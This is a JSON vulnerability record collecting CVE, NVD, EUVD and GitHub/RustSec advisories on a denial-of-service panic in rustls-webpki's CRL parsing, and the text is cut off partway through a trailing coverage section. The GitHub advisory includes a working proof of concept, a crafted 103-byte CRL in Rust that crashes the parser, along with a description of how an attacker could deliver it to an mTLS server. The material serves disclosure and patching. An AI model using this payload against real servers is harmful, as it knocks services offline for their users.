{"id":"RUSTSEC-2026-0104","revision":null,"records":[{"revision":"da396d28e8f24525baab2d8d6f868c9c","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-93599","aliases":[],"title":"rustls-webpki before 0.103.13 Panic via empty BIT STRING","description":"rustls-webpki through 0.103.12 (and 0.104.0-alpha releases before 0.104.0-alpha.7) contains a reachable panic in bit_string_flags() in src/der.rs. The input guard fails to reject a named-bit BIT STRING whose content is exactly [0x00] (zero padding bits and no data bytes), so raw_bits.len() - 1 underflows on the empty slice and the subsequent index operation panics (subtract-with-overflow in debug, index-out-of-bounds in release). The condition is reachable through the public API BorrowedCertRevocationList::from_der() when a CRL contains an issuingDistributionPoint extension with such an onlySomeReasons value. Exploitation requires an application that explicitly opts in to CRL revocation checking by passing RevocationOptions to verify_for_usage() and that parses CRL bytes obtained from a source the attacker can influence; the default rustls configuration, which does not use RevocationOptions, is unaffected. A crafted CRL causes a denial of service via the panic. Fixed in 0.103.13 and 0.104.0-alpha.7.","state":0,"publishedAt":"2026-09-18T13:20:10.258+00:00","modifiedAt":"2026-09-18T14:15:25.188+00:00","affected":[{"ecosystem":"Vendor product","name":"webpki","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"rustls\",\n                    \"product\": \"webpki\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:cargo/rustls-webpki\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"0.103.13\"\n                        },\n                        {\n                            \"version\": \"0.104.0-alpha.1\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"0.104.0-alpha.7\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"severity":"HIGH"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/rustls/webpki/security/advisories/GHSA-82j2-j2ch-gfr8","https://www.vulncheck.com/advisories/rustls-webpki-before-0.103.13-panic-via-empty-bit-string"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-93599","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-93599","identifiers":["CVE-2026-93599"]},"retained":false,"historicalAffected":[]},{"revision":"742e1e71e0524b3b90643309018c3d55","observedAt":"2026-11-11T17:05:39.686+00:00","statement":{"source":"euvd","id":"EUVD-2026-82894","aliases":["CVE-2026-93599","GHSA-g42g-9vm4-7gfj"],"title":"rustls-webpki through 0.103.12 (and 0.104.0-alpha releases before 0.104.0-alpha.7) contains a reachable panic in bit_string_flags() in src/der.rs. The input guard fails to reject a named-bit BIT STRING whose content is exactly [0x00] (zero …","description":"rustls-webpki through 0.103.12 (and 0.104.0-alpha releases before 0.104.0-alpha.7) contains a reachable panic in bit_string_flags() in src/der.rs. The input guard fails to reject a named-bit BIT STRING whose content is exactly [0x00] (zero padding bits and no data bytes), so raw_bits.len() - 1 underflows on the empty slice and the subsequent index operation panics (subtract-with-overflow in debug, index-out-of-bounds in release). The condition is reachable through the public API BorrowedCertRevocationList::from_der() when a CRL contains an issuingDistributionPoint extension with such an onlySomeReasons value. Exploitation requires an application that explicitly opts in to CRL revocation checking by passing RevocationOptions to verify_for_usage() and that parses CRL bytes obtained from a source the attacker can influence; the default rustls configuration, which does not use RevocationOptions, is unaffected. A crafted CRL causes a denial of service via the panic. Fixed in 0.103.13 and 0.104.0-alpha.7.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"severity":null}],"references":["https://github.com/rustls/webpki/security/advisories/GHSA-82j2-j2ch-gfr8","https://www.vulncheck.com/advisories/rustls-webpki-before-0.103.13-panic-via-empty-bit-string"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-82894","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 18, 2026, 1:20:10 PM","dateUpdated":"Sep 18, 2026, 2:15:25 PM"},"relatedAdvisories":[{"id":"openSUSE-SU-2026:22016-1","title":"Security update for rustup","vulnerabilityIds":["CVE-2024-12224","CVE-2025-58160","CVE-2026-25541","CVE-2026-25727","CVE-2026-41676","CVE-2026-41677","CVE-2026-41678","CVE-2026-41681","CVE-2026-41898","CVE-2026-42327","CVE-2026-44662","CVE-2026-45784","CVE-2026-93599","CVE-2026-93600","CVE-2026-93601","CVE-2026-93602"]},{"id":"SUSE-SU-2026:24014-1","title":"Security update for rustup","vulnerabilityIds":["CVE-2024-12224","CVE-2025-58160","CVE-2026-25541","CVE-2026-25727","CVE-2026-41676","CVE-2026-41677","CVE-2026-41678","CVE-2026-41681","CVE-2026-41898","CVE-2026-42327","CVE-2026-44662","CVE-2026-45784","CVE-2026-93599","CVE-2026-93600","CVE-2026-93601","CVE-2026-93602"]},{"id":"RHSA-2026:56999","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-35406","CVE-2026-93599"]},{"id":"RHSA-2026:92595","title":"Red Hat Security Advisory: General availability of the satellite/iop-advisor-backend-rhel9 container image","vulnerabilityIds":["CVE-2026-84782","CVE-2026-93599"]},{"id":"RHSA-2026:87410","title":"Red Hat Security Advisory: RHOAI 2.25.12 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2024-12224","CVE-2025-14920","CVE-2025-14921","CVE-2025-14924","CVE-2025-14925","CVE-2025-14926","CVE-2025-14927","CVE-2025-14928","CVE-2025-14929","CVE-2025-14930","CVE-2025-61726","CVE-2025-61729","CVE-2026-5241","CVE-2026-5497","CVE-2026-6734","CVE-2026-8643","CVE-2026-9697","CVE-2026-11822","CVE-2026-11824","CVE-2026-12151","CVE-2026-12860","CVE-2026-15143","CVE-2026-15574","CVE-2026-15679","CVE-2026-15925","CVE-2026-16221","CVE-2026-18427","CVE-2026-18446","CVE-2026-18949","CVE-2026-19481","CVE-2026-19484","CVE-2026-19534","CVE-2026-25681","CVE-2026-25960","CVE-2026-27136","CVE-2026-28390","CVE-2026-28684","CVE-2026-31812","CVE-2026-32283","CVE-2026-33186","CVE-2026-33805","CVE-2026-33811","CVE-2026-33814","CVE-2026-34993","CVE-2026-39821","CVE-2026-39852","CVE-2026-39892","CVE-2026-40682","CVE-2026-41178","CVE-2026-42502","CVE-2026-42561","CVE-2026-44431","CVE-2026-44432","CVE-2026-44660","CVE-2026-44705","CVE-2026-45820","CVE-2026-47219","CVE-2026-48526","CVE-2026-48710","CVE-2026-48746","CVE-2026-49114","CVE-2026-49825","CVE-2026-49855","CVE-2026-50559","CVE-2026-54283","CVE-2026-54399","CVE-2026-54428","CVE-2026-55831","CVE-2026-55833","CVE-2026-56121","CVE-2026-56746","CVE-2026-56819","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-58059","CVE-2026-59296","CVE-2026-59879","CVE-2026-59884","CVE-2026-59885","CVE-2026-59886","CVE-2026-59899","CVE-2026-62243","CVE-2026-62384","CVE-2026-63209","CVE-2026-63374","CVE-2026-65898","CVE-2026-65918","CVE-2026-66007","CVE-2026-67213","CVE-2026-67214","CVE-2026-67312","CVE-2026-68494","CVE-2026-68497","CVE-2026-68770","CVE-2026-69097","CVE-2026-69112","CVE-2026-69152","CVE-2026-69153","CVE-2026-69243","CVE-2026-69244","CVE-2026-71281","CVE-2026-73086","CVE-2026-73088","CVE-2026-73089","CVE-2026-73415","CVE-2026-73417","CVE-2026-73502","CVE-2026-73508","CVE-2026-73620","CVE-2026-73622","CVE-2026-73623","CVE-2026-73624","CVE-2026-73625","CVE-2026-73627","CVE-2026-73646","CVE-2026-75838","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76098","CVE-2026-76169","CVE-2026-76172","CVE-2026-76222","CVE-2026-76905","CVE-2026-77354","CVE-2026-77874","CVE-2026-78676","CVE-2026-78677","CVE-2026-78679","CVE-2026-78682","CVE-2026-79674","CVE-2026-79675","CVE-2026-80205","CVE-2026-81722","CVE-2026-81724","CVE-2026-81727","CVE-2026-82397","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-84394","CVE-2026-84428","CVE-2026-84445","CVE-2026-84469","CVE-2026-84504","CVE-2026-84782","CVE-2026-84961","CVE-2026-85124","CVE-2026-85152","CVE-2026-85525","CVE-2026-86049","CVE-2026-86332","CVE-2026-87776","CVE-2026-87817","CVE-2026-87819","CVE-2026-88029","CVE-2026-88031","CVE-2026-89418","CVE-2026-89425","CVE-2026-91777","CVE-2026-91990","CVE-2026-92599","CVE-2026-93599","CVE-2026-93657","CVE-2026-93749","CVE-2026-96749","CVE-2026-102831","CVE-2026-102925","CVE-2026-102930","CVE-2026-102937","CVE-2026-102938","CVE-2026-103262","CVE-2026-104851","CVE-2026-105744"]},{"id":"RHSA-2026:92620","title":"Red Hat Security Advisory: satellite/iop-vulnerability-engine-rhel9 container image available as a Technology Preview","vulnerabilityIds":["CVE-2026-84782","CVE-2026-87819","CVE-2026-93599","CVE-2026-110857"]},{"id":"openSUSE-SU-2026:22189-1","title":"Security update for shadowsocks-rust, shadowsocks-libev","vulnerabilityIds":["CVE-2025-3416","CVE-2026-25541","CVE-2026-93599","CVE-2026-93600","CVE-2026-93601","CVE-2026-93602"]},{"id":"RHSA-2026:87120","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Container Release Update","vulnerabilityIds":["CVE-2026-27459","CVE-2026-39836","CVE-2026-45820","CVE-2026-63374","CVE-2026-69243","CVE-2026-90959","CVE-2026-92982","CVE-2026-93599","CVE-2026-96760","CVE-2026-97687","CVE-2026-97689","CVE-2026-102266","CVE-2026-102267","CVE-2026-102268","CVE-2026-102271","CVE-2026-102272","CVE-2026-102273","CVE-2026-102925","CVE-2026-102930","CVE-2026-102937","CVE-2026-102938","CVE-2026-103262","CVE-2026-104851"]},{"id":"openSUSE-SU-2026:12161-1","title":"aws-nitro-enclaves-binaryblobs-upstream-1.5.2~git0.1c496ed-1.1 on GA media","vulnerabilityIds":["CVE-2026-93599"]},{"id":"RHSA-2026:83603","title":"Red Hat Security Advisory: RHTAS 1.4.4 - Red Hat Trusted Artifact Signer Release","vulnerabilityIds":["CVE-2026-18140","CVE-2026-93599"]},{"id":"RHSA-2026:92619","title":"Red Hat Security Advisory: satellite/iop-vulnerability-engine-rhel9 container image available as a Technology Preview","vulnerabilityIds":["CVE-2026-84782","CVE-2026-87819","CVE-2026-93599"]},{"id":"msrc_CVE-2026-93599","title":"rustls-webpki before 0.103.13 Panic via empty BIT STRING","vulnerabilityIds":["CVE-2026-93599"]},{"id":"RHSA-2026:70694","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-65093","CVE-2026-93599"]},{"id":"openSUSE-SU-2026:11976-1","title":"shadowsocks-rust-1.25.0-2.1 on GA media","vulnerabilityIds":["CVE-2026-93599"]},{"id":"openSUSE-SU-2026:22175-1","title":"Security update for aws-nitro-enclaves-cli","vulnerabilityIds":["CVE-2026-93599","CVE-2026-93600","CVE-2026-93601","CVE-2026-93602"]},{"id":"RHSA-2026:92583","title":"Red Hat Security Advisory: General availability of the satellite/iop-host-inventory-rhel9 container image","vulnerabilityIds":["CVE-2026-63374","CVE-2026-84782","CVE-2026-93599","CVE-2026-102267","CVE-2026-102268"]},{"id":"SUSE-SU-2026:23983-1","title":"Security update for sccache","vulnerabilityIds":["CVE-2024-12224","CVE-2026-25541","CVE-2026-25727","CVE-2026-41676","CVE-2026-41677","CVE-2026-41678","CVE-2026-41681","CVE-2026-41898","CVE-2026-42327","CVE-2026-44662","CVE-2026-45784","CVE-2026-66746","CVE-2026-66754","CVE-2026-67181","CVE-2026-67182","CVE-2026-93599","CVE-2026-93600","CVE-2026-93601","CVE-2026-93602"]},{"id":"openSUSE-SU-2026:21982-1","title":"Security update for sccache","vulnerabilityIds":["CVE-2024-12224","CVE-2026-25541","CVE-2026-25727","CVE-2026-41676","CVE-2026-41677","CVE-2026-41678","CVE-2026-41681","CVE-2026-41898","CVE-2026-42327","CVE-2026-44662","CVE-2026-45784","CVE-2026-66746","CVE-2026-66754","CVE-2026-67181","CVE-2026-67182","CVE-2026-93599","CVE-2026-93600","CVE-2026-93601","CVE-2026-93602"]},{"id":"RHSA-2026:66076","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-93599"]},{"id":"RHSA-2026:92574","title":"Red Hat Security Advisory: Technical preview of the satellite/iop-vmaas-rhel9 container image","vulnerabilityIds":["CVE-2026-26007","CVE-2026-63374","CVE-2026-84782","CVE-2026-87819","CVE-2026-93599","CVE-2026-110856","CVE-2026-110857","CVE-2026-110859"]},{"id":"RHSA-2026:92566","title":"Red Hat Security Advisory: General availability of the satellite/iop-host-inventory-rhel9 container image","vulnerabilityIds":["CVE-2026-63374","CVE-2026-84782","CVE-2026-93599","CVE-2026-102267","CVE-2026-102268"]},{"id":"RHSA-2026:80764","title":"Red Hat Security Advisory: goose security update","vulnerabilityIds":["CVE-2026-63127","CVE-2026-63128","CVE-2026-72718","CVE-2026-93599"]},{"id":"RHSA-2026:86891","title":"Red Hat Security Advisory: RHOAI 3.5.2 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2024-14029","CVE-2026-13697","CVE-2026-15679","CVE-2026-15789","CVE-2026-18427","CVE-2026-19534","CVE-2026-37237","CVE-2026-49825","CVE-2026-49855","CVE-2026-54284","CVE-2026-56859","CVE-2026-59296","CVE-2026-59893","CVE-2026-62243","CVE-2026-62384","CVE-2026-63209","CVE-2026-63374","CVE-2026-66007","CVE-2026-68494","CVE-2026-68497","CVE-2026-69097","CVE-2026-69112","CVE-2026-69152","CVE-2026-69243","CVE-2026-69244","CVE-2026-71281","CVE-2026-71491","CVE-2026-73417","CVE-2026-73502","CVE-2026-73508","CVE-2026-73646","CVE-2026-75838","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76098","CVE-2026-76169","CVE-2026-76172","CVE-2026-76222","CVE-2026-76905","CVE-2026-77354","CVE-2026-77874","CVE-2026-78676","CVE-2026-78677","CVE-2026-78679","CVE-2026-78682","CVE-2026-79674","CVE-2026-79675","CVE-2026-80205","CVE-2026-81722","CVE-2026-81724","CVE-2026-81725","CVE-2026-81726","CVE-2026-81727","CVE-2026-82397","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-84381","CVE-2026-84382","CVE-2026-84394","CVE-2026-84428","CVE-2026-84445","CVE-2026-84469","CVE-2026-84504","CVE-2026-84782","CVE-2026-84961","CVE-2026-85124","CVE-2026-85152","CVE-2026-85525","CVE-2026-86332","CVE-2026-87776","CVE-2026-87817","CVE-2026-87819","CVE-2026-88029","CVE-2026-88031","CVE-2026-89425","CVE-2026-91990","CVE-2026-93348","CVE-2026-93599","CVE-2026-93657","CVE-2026-93749","CVE-2026-96749","CVE-2026-96775","CVE-2026-102925","CVE-2026-102930","CVE-2026-102937","CVE-2026-102938","CVE-2026-102990","CVE-2026-104851","CVE-2026-104852","CVE-2026-104861","CVE-2026-104873"]},{"id":"RHSA-2026:80765","title":"Red Hat Security Advisory: goose security update","vulnerabilityIds":["CVE-2026-63127","CVE-2026-63128","CVE-2026-72718","CVE-2026-93599"]},{"id":"RHSA-2026:57200","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-93599"]},{"id":"WID-SEC-W-2026-3883","title":"Red Hat Enterprise Linux (goose, environment-modules, tornado): Mehrere Schwachstellen","vulnerabilityIds":["CVE-2026-63127","CVE-2026-63128","CVE-2026-72718","CVE-2026-93599","CVE-2026-85013","CVE-2026-103262"]},{"id":"openSUSE-SU-2026:12409-1","title":"rustup-1.29.2~0-1.1 on GA media","vulnerabilityIds":["CVE-2026-93599"]},{"id":"RHSA-2026:85848","title":"Red Hat Security Advisory: rust-sequoia-sq security update","vulnerabilityIds":["CVE-2026-93599","CVE-2026-93657"]},{"id":"SUSE-SU-2026:24467-1","title":"Security update for aws-nitro-enclaves-cli","vulnerabilityIds":["CVE-2026-93599","CVE-2026-93600","CVE-2026-93601","CVE-2026-93602"]},{"id":"openSUSE-SU-2026:11936-1","title":"python313-tokenizers-0.23.2-1.1 on GA media","vulnerabilityIds":["CVE-2026-93599","CVE-2026-93600","CVE-2026-93601","CVE-2026-93602"]},{"id":"openSUSE-SU-2026:11861-1","title":"obs-service-cargo-7.2.2-3.1 on GA media","vulnerabilityIds":["CVE-2026-93599"]},{"id":"RHSA-2026:92588","title":"Red Hat Security Advisory: Technical preview of the satellite/iop-vmaas-rhel9 container image","vulnerabilityIds":["CVE-2026-63374","CVE-2026-84782","CVE-2026-87819","CVE-2026-93599","CVE-2026-110857"]},{"id":"RHSA-2026:92628","title":"Red Hat Security Advisory: General availability of the satellite/iop-advisor-backend-rhel9 container image","vulnerabilityIds":["CVE-2026-84782","CVE-2026-93599"]},{"id":"RHSA-2026:42825","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-7383","CVE-2026-9076","CVE-2026-34180","CVE-2026-34181","CVE-2026-34182","CVE-2026-34183","CVE-2026-35188","CVE-2026-42764","CVE-2026-42765","CVE-2026-42766","CVE-2026-42767","CVE-2026-42768","CVE-2026-42769","CVE-2026-42770","CVE-2026-42771","CVE-2026-45445","CVE-2026-45446","CVE-2026-45447","CVE-2026-54876","CVE-2026-75803","CVE-2026-93599"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-82894","identifiers":["EUVD-2026-82894","CVE-2026-93599","GHSA-g42g-9vm4-7gfj"]},"retained":false,"historicalAffected":[]},{"revision":"4f1125fe1c364fc7a508788bc98db582","observedAt":"2026-10-25T16:19:28.255+00:00","statement":{"source":"nvd","id":"CVE-2026-93599","aliases":[],"title":"rustls-webpki through 0.103.12 (and 0.104.0-alpha releases before 0.104.0-alpha.7) contains a reachable panic in bit_string_flags() in src/der.rs. The input guard fails to reject a named-bit BIT STRING whose content is exactly [0x00] (zero …","description":"rustls-webpki through 0.103.12 (and 0.104.0-alpha releases before 0.104.0-alpha.7) contains a reachable panic in bit_string_flags() in src/der.rs. The input guard fails to reject a named-bit BIT STRING whose content is exactly [0x00] (zero padding bits and no data bytes), so raw_bits.len() - 1 underflows on the empty slice and the subsequent index operation panics (subtract-with-overflow in debug, index-out-of-bounds in release). The condition is reachable through the public API BorrowedCertRevocationList::from_der() when a CRL contains an issuingDistributionPoint extension with such an onlySomeReasons value. Exploitation requires an application that explicitly opts in to CRL revocation checking by passing RevocationOptions to verify_for_usage() and that parses CRL bytes obtained from a source the attacker can influence; the default rustls configuration, which does not use RevocationOptions, is unaffected. A crafted CRL causes a denial of service via the panic. Fixed in 0.103.13 and 0.104.0-alpha.7.","state":0,"publishedAt":"2026-09-18T14:19:11.41+00:00","modifiedAt":"2026-09-22T20:25:55.87+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.7,"severity":"HIGH"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/rustls/webpki/security/advisories/GHSA-82j2-j2ch-gfr8","https://www.vulncheck.com/advisories/rustls-webpki-before-0.103.13-panic-via-empty-bit-string"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93599","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-191"],"productCriteria":[],"sourceDates":{"published":"2026-09-18T14:19:11.410","lastModified":"2026-09-22T20:25:55.870"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-93599","identifiers":["CVE-2026-93599"]},"retained":false,"historicalAffected":[]},{"revision":"9e6f8f98c4a548dfb283ebe13d8af491","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"GHSA-82j2-j2ch-gfr8","aliases":["CVE-2026-93599","RUSTSEC-2026-0104"],"title":"rustls-webpki: Denial of service via panic on malformed CRL BIT STRING","description":"### Summary\n\n`bit_string_flags()` in `src/der.rs` panics with an index-out-of-bounds when given a BIT STRING whose content is exactly `[0x00]` (one byte: zero padding bits, zero data bytes). This is reachable through the public API `BorrowedCertRevocationList::from_der()` via the `issuingDistributionPoint` CRL extension.\n\n**Precondition**: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass `RevocationOptions` to `verify_for_usage()` and load CRL bytes from a source the attacker can influence. The default rustls configuration (no `RevocationOptions`) is not affected.\n\n> **AI disclosure**: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.\n\n### Details\n`bit_string_flags()` in `src/der.rs` reads the content of named-bit BIT\nSTRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:\n\n```rust\nif padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) {\n    return Err(Error::BadDer);\n}\nlet last_byte = raw_bits[raw_bits.len() - 1];  // ← crash\n```\nmisses the case `padding_bits == 0 && raw_bits.is_empty()`.\nWhen a BIT STRING has content `[0x00]`  (one padding-bits byte set to zero, no data bytes):\n- padding_bits = 0x00 — passes the > 7 check ✓\n- raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false)\n- raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX\n- raw_bits[usize::MAX] → panic\n\n\nDebug:   thread 'main' panicked: attempt to subtract with overflow\nRelease: thread 'main' panicked: index out of bounds: the len is 0\n         but the index is 18446744073709551615\n\n### PoC\nCargo.toml:\n```\n[dependencies]\nrustls-webpki = \"0.102.8\"   # also reproduces on 0.103.12\n```\nsrc/main.rs:\n```\nfn main() {\n    let crl: &[u8] = &[\n        0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,\n        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n        0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,\n        0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,\n        0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,\n        0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,\n        0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,\n        0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,\n        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n        0x03, 0x02, 0x00, 0x00,\n    ];\n    // Panics — never returns\n    let _ = webpki::BorrowedCertRevocationList::from_der(crl);\n}\n```\noutput:\n```\nthread 'main' panicked at src/der.rs:...\nindex out of bounds: the len is 0 but the index is 18446744073709551615\n```\n#### Trigger\n```\na0 10            -- cRLExtensions [0] EXPLICIT\n  30 0e          -- SEQUENCE OF Extension\n    30 0c        -- Extension SEQUENCE\n      06 03 55 1d 1c   -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)\n      04 05            -- OCTET STRING (extnValue)\n        30 03          -- IssuingDistributionPoint SEQUENCE\n          83 01 00     -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00\n                       --   padding_bits=0, data=[]  ← TRIGGER\n```\n\n\n### Impact\n- Who is affected: \nApplications that (1) use rustls-webpki with CRL\nrevocation checking explicitly enabled via RevocationOptions, and (2)\nload CRL bytes from a source an attacker can influence.\n- Attack paths:\n    - mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required.\n    - TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.","state":0,"publishedAt":"2026-04-24T16:20:17+00:00","modifiedAt":"2026-09-19T03:55:33.4120796+00:00","affected":[{"ecosystem":"crates.io","name":"rustls-webpki","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.103.13"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"crates.io","name":"rustls-webpki","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.104.0-alpha.1"},{"kind":"fixed","version":"0.104.0-alpha.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/rustls/webpki/security/advisories/GHSA-82j2-j2ch-gfr8","https://github.com/rustls/webpki","https://rustsec.org/advisories/RUSTSEC-2026-0104.html"],"sourceUrl":"https://github.com/advisories/GHSA-82j2-j2ch-gfr8","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-82j2-j2ch-gfr8","identifiers":["GHSA-82j2-j2ch-gfr8","CVE-2026-93599","RUSTSEC-2026-0104"]},"retained":false,"historicalAffected":[]},{"revision":"4a853ad56e3d404d8dd0f25c744fb739","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"RUSTSEC-2026-0104","aliases":["CVE-2026-93599","GHSA-82j2-j2ch-gfr8"],"title":"Reachable panic in certificate revocation list parsing","description":"A panic was reachable when parsing certificate revocation lists via [`BorrowedCertRevocationList::from_der`]\nor [`OwnedCertRevocationList::from_der`].  This was the result of mishandling a syntactically valid empty\n`BIT STRING` appearing in the `onlySomeReasons` element of a `IssuingDistributionPoint` CRL extension.\n\nThis panic is reachable prior to a CRL's signature being verified.\n\nApplications that do not use CRLs are not affected.\n\nThank you to [@tynus3](https://github.com/tynus3) for the report.","state":0,"publishedAt":"2026-04-22T12:00:00+00:00","modifiedAt":"2026-09-19T08:42:27+00:00","affected":[{"ecosystem":"crates.io","name":"rustls-webpki","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.0.0-0"},{"kind":"fixed","version":"0.103.13"},{"kind":"introduced","version":"0.104.0-alpha.1"},{"kind":"fixed","version":"0.104.0-alpha.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://crates.io/crates/rustls-webpki","https://rustsec.org/advisories/RUSTSEC-2026-0104.html"],"sourceUrl":"https://osv.dev/vulnerability/RUSTSEC-2026-0104","license":"OSV · upstream source license applies","key":"osv:RUSTSEC-2026-0104","identifiers":["RUSTSEC-2026-0104","CVE-2026-93599","GHSA-82j2-j2ch-gfr8"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-13T03:19:40.5269590+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-13T03:19:40.526959+00:00","lastSuccessAt":"2026-11-13T03:19:40.6882289+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:19:40.688234+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d8fa82e95fdb59244e2f635e667ba17f0796ca0a4f1f4bb8cc31febcd660b76c-98121ba726768336a864ab5bced2f3860f36459d7555a27229b152c25d7e1f39","complete":true,"records":424942,"lastAttemptAt":"2026-11-13T03:16:36.8593016+00:00","lastSuccessAt":"2026-11-13T03:16:36.8357038+00:00","error":null,"lastVerifiedAt":"2026-11-13T03:16:36.8593016+00:00","snapshotPublishedAt":"2026-11-13T02:30:23+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is 